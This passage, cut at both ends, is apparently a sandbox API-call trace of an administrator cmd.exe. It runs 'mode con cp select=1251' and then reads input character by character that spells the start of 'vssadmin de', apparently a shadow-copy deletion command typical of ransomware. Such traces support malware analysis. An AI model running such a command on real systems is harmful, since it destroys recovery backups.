lpFilePart=0xf9aaeff110*="system32") returned 0x13 [0290.500] SetErrorMode (uMode=0x0) returned 0x1 [0290.500] GetProcessHeap () returned 0x29f96d20000 [0290.500] RtlReAllocateHeap (Heap=0x29f96d20000, Flags=0x0, Ptr=0x29f96d38bf0, Size=0x42) returned 0x29f96d38bf0 [0290.500] GetProcessHeap () returned 0x29f96d20000 [0290.500] RtlSizeHeap (HeapHandle=0x29f96d20000, Flags=0x0, MemoryPointer=0x29f96d38bf0) returned 0x42 [0290.500] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff78402bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0290.501] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0290.501] GetProcessHeap () returned 0x29f96d20000 [0290.501] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0x1b4) returned 0x29f96d38c50 [0290.501] GetProcessHeap () returned 0x29f96d20000 [0290.501] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0x358) returned 0x29f96d38e10 [0290.510] GetProcessHeap () returned 0x29f96d20000 [0290.510] RtlReAllocateHeap (Heap=0x29f96d20000, Flags=0x0, Ptr=0x29f96d38e10, Size=0x1b6) returned 0x29f96d38e10 [0290.510] GetProcessHeap () returned 0x29f96d20000 [0290.510] RtlSizeHeap (HeapHandle=0x29f96d20000, Flags=0x0, MemoryPointer=0x29f96d38e10) returned 0x1b6 [0290.510] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff78402bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0290.510] GetProcessHeap () returned 0x29f96d20000 [0290.510] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0xe8) returned 0x29f96d38fe0 [0290.510] GetProcessHeap () returned 0x29f96d20000 [0290.510] RtlReAllocateHeap (Heap=0x29f96d20000, Flags=0x0, Ptr=0x29f96d38fe0, Size=0x7e) returned 0x29f96d38fe0 [0290.510] GetProcessHeap () returned 0x29f96d20000 [0290.510] RtlSizeHeap (HeapHandle=0x29f96d20000, Flags=0x0, MemoryPointer=0x29f96d38fe0) returned 0x7e [0290.511] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0290.511] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0xf9aaefee80, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xf9aaefee80) returned 0x29f96d39070 [0290.511] GetProcessHeap () returned 0x29f96d20000 [0290.511] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x0, Size=0x28) returned 0x29f96d26a70 [0290.511] FindClose (in: hFindFile=0x29f96d39070 | out: hFindFile=0x29f96d39070) returned 1 [0290.511] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0xf9aaefee80, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xf9aaefee80) returned 0x29f96d39070 [0290.511] GetProcessHeap () returned 0x29f96d20000 [0290.511] RtlReAllocateHeap (Heap=0x29f96d20000, Flags=0x0, Ptr=0x29f96d26a70, Size=0x8) returned 0x29f96d26a70 [0290.511] FindClose (in: hFindFile=0x29f96d39070 | out: hFindFile=0x29f96d39070) returned 1 [0290.511] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0290.511] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0290.511] ??_V@YAXPEAX@Z () returned 0x1 [0290.512] GetConsoleTitleW (in: lpConsoleTitle=0xf9aaeff400, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0290.595] GetProcessHeap () returned 0x29f96d20000 [0290.595] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0x21c) returned 0x29f96d39070 [0290.595] GetConsoleTitleW (in: lpConsoleTitle=0x29f96d39080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0290.691] GetProcessHeap () returned 0x29f96d20000 [0290.691] RtlReAllocateHeap (Heap=0x29f96d20000, Flags=0x0, Ptr=0x29f96d39070, Size=0xaa) returned 0x29f96d39070 [0290.691] GetProcessHeap () returned 0x29f96d20000 [0290.691] RtlSizeHeap (HeapHandle=0x29f96d20000, Flags=0x0, MemoryPointer=0x29f96d39070) returned 0xaa [0290.691] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0290.776] GetProcessHeap () returned 0x29f96d20000 [0290.776] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d39070) returned 1 [0290.776] InitializeProcThreadAttributeList (in: lpAttributeList=0xf9aaeff320, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xf9aaeff210 | out: lpAttributeList=0xf9aaeff320, lpSize=0xf9aaeff210) returned 1 [0290.776] UpdateProcThreadAttribute (in: lpAttributeList=0xf9aaeff320, dwFlags=0x0, Attribute=0x60001, lpValue=0xf9aaeff1fc, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xf9aaeff320, lpPreviousValue=0x0) returned 1 [0290.776] GetStartupInfoW (in: lpStartupInfo=0xf9aaeff2b0 | out: lpStartupInfo=0xf9aaeff2b0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xf94, hStdOutput=0xfa0, hStdError=0xfa0)) [0290.776] GetProcessHeap () returned 0x29f96d20000 [0290.776] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0x20) returned 0x29f96d39070 [0290.776] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0290.776] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0290.776] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0290.776] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0290.776] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0290.776] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0290.776] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0290.777] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0290.777] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0290.777] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0290.777] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0290.777] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0290.777] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0290.777] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0290.777] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0290.777] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0290.777] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0290.777] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0290.777] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0290.777] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0290.777] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0290.777] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0290.777] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0290.777] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0290.777] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0290.777] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0290.777] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0290.777] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0290.777] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0290.777] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0290.777] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0290.777] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0290.777] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0290.777] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0290.777] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0290.777] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0290.777] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0290.777] GetProcessHeap () returned 0x29f96d20000 [0290.777] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d39070) returned 1 [0290.777] GetProcessHeap () returned 0x29f96d20000 [0290.778] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0x12) returned 0x29f96d39070 [0290.778] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0290.778] SetConsoleMode (hConsoleHandle=0xfa0, dwMode=0x0) returned 0 [0290.778] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.778] SetConsoleMode (hConsoleHandle=0xf94, dwMode=0x0) returned 0 [0290.778] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0xf9aaeff240*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xf9aaeff218 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0xf9aaeff218*(hProcess=0x98, hThread=0x94, dwProcessId=0x272c, dwThreadId=0x4c4)) returned 1 [0290.787] CloseHandle (hObject=0x94) returned 1 [0290.787] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0290.787] GetProcessHeap () returned 0x29f96d20000 [0290.787] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d25a10) returned 1 [0290.787] GetEnvironmentStringsW () returned 0x29f96d25a10* [0290.787] GetProcessHeap () returned 0x29f96d20000 [0290.787] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0xac4) returned 0x29f96d39490 [0290.787] FreeEnvironmentStringsA (penv="=") returned 1 [0290.787] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa99050000 [0290.787] GetProcAddress (hModule=0x7ffa99050000, lpProcName="NtQueryInformationProcess") returned 0x7ffa990f56b0 [0290.787] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0xf9aaefe718, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xf9aaefe718, ReturnLength=0x0) returned 0x0 [0290.787] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0xb12cec3000, lpBuffer=0xf9aaefe750, nSize=0x7a0, lpNumberOfBytesRead=0xf9aaefe710 | out: lpBuffer=0xf9aaefe750*, lpNumberOfBytesRead=0xf9aaefe710*=0x7a0) returned 1 [0290.788] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0 [0290.901] GetExitCodeProcess (in: hProcess=0x98, lpExitCode=0xf9aaeff198 | out: lpExitCode=0xf9aaeff198*=0x0) returned 1 [0290.901] CloseHandle (hObject=0x98) returned 1 [0290.901] _vsnwprintf (in: _Buffer=0xf9aaeff368, _BufferCount=0x13, _Format="%08X", _ArgList=0xf9aaeff1a8 | out: _Buffer="00000000") returned 8 [0290.901] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0290.901] GetProcessHeap () returned 0x29f96d20000 [0290.901] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d39490) returned 1 [0290.901] GetEnvironmentStringsW () returned 0x29f96d3aa60* [0290.901] GetProcessHeap () returned 0x29f96d20000 [0290.901] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0xaea) returned 0x29f96d3b560 [0290.901] FreeEnvironmentStringsA (penv="=") returned 1 [0290.901] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0290.901] GetProcessHeap () returned 0x29f96d20000 [0290.901] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d3b560) returned 1 [0290.902] GetEnvironmentStringsW () returned 0x29f96d3aa60* [0290.902] GetProcessHeap () returned 0x29f96d20000 [0290.902] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0xaea) returned 0x29f96d3b560 [0290.902] FreeEnvironmentStringsA (penv="=") returned 1 [0290.903] GetProcessHeap () returned 0x29f96d20000 [0290.903] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d39070) returned 1 [0290.903] DeleteProcThreadAttributeList (in: lpAttributeList=0xf9aaeff320 | out: lpAttributeList=0xf9aaeff320) [0290.903] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0290.905] ??_V@YAXPEAX@Z () returned 0x1 [0290.905] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0290.905] SetConsoleMode (hConsoleHandle=0xfa0, dwMode=0x0) returned 0 [0290.905] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0290.905] GetConsoleMode (in: hConsoleHandle=0xfa0, lpMode=0x7ff78402fc08 | out: lpMode=0x7ff78402fc08) returned 0 [0290.905] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.905] GetConsoleMode (in: hConsoleHandle=0xf94, lpMode=0x7ff78402fc0c | out: lpMode=0x7ff78402fc0c) returned 0 [0290.905] GetConsoleOutputCP () returned 0x4e3 [0290.906] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff78402fbb0 | out: lpCPInfo=0x7ff78402fbb0) returned 1 [0290.906] SetThreadUILanguage (LangId=0x0) returned 0x409 [0290.907] GetProcessHeap () returned 0x29f96d20000 [0290.907] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d38fe0) returned 1 [0290.907] GetProcessHeap () returned 0x29f96d20000 [0290.907] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d38e10) returned 1 [0290.907] GetProcessHeap () returned 0x29f96d20000 [0290.908] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d38c50) returned 1 [0290.908] GetProcessHeap () returned 0x29f96d20000 [0290.908] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d38bf0) returned 1 [0290.908] GetProcessHeap () returned 0x29f96d20000 [0290.908] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d38ba0) returned 1 [0290.908] GetProcessHeap () returned 0x29f96d20000 [0290.908] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d28bb0) returned 1 [0290.908] GetProcessHeap () returned 0x29f96d20000 [0290.908] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d26ef0) returned 1 [0290.908] GetProcessHeap () returned 0x29f96d20000 [0290.908] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d26c60) returned 1 [0290.908] GetProcessHeap () returned 0x29f96d20000 [0290.908] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d26e30) returned 1 [0290.908] _vsnwprintf (in: _Buffer=0x7ff784037f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xf9aaeff748 | out: _Buffer="\r\n") returned 2 [0290.908] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0290.908] GetFileType (hFile=0xfa0) returned 0x3 [0290.908] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0290.908] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff784029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0290.908] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff784029970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xf9aaeff718, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesWritten=0xf9aaeff718*=0x2, lpOverlapped=0x0) returned 1 [0290.908] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff78402bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0290.908] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x29f96e20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0290.908] _vsnwprintf (in: _Buffer=0x29f96e30060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xf9aaeff758 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0290.908] _vsnwprintf (in: _Buffer=0x29f96e30086, _BufferCount=0x83d2, _Format="%c", _ArgList=0xf9aaeff758 | out: _Buffer=">") returned 1 [0290.908] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0290.908] GetFileType (hFile=0xfa0) returned 0x3 [0290.909] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0290.909] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff784029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0290.909] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff784029970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0xf9aaeff748, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesWritten=0xf9aaeff748*=0x14, lpOverlapped=0x0) returned 1 [0290.909] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.909] GetFileType (hFile=0xf94) returned 0x3 [0290.909] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.909] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.909] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.909] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c30, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0290.909] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.909] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.909] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.909] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c32, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0290.909] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.909] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.909] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.909] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c34, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0290.909] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.909] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.910] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.910] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c36, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0290.910] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.910] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.910] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.910] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c38, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0290.910] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.910] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.910] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.910] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c3a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0290.910] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.910] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.910] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.910] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c3c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0290.910] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.910] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.910] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.910] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c3e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0290.910] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.910] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.910] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.910] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c40, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0290.910] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.911] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.911] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.911] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c42, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0290.911] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.911] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0290.911] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xf9aaeffaa8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0xf9aaeffaa8*=0x1, lpOverlapped=0x0) returned 1 [0290.911] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c44, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0290.911] _get_osfhandle (_FileHandle=0) returned 0xf94 [0290.911] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: 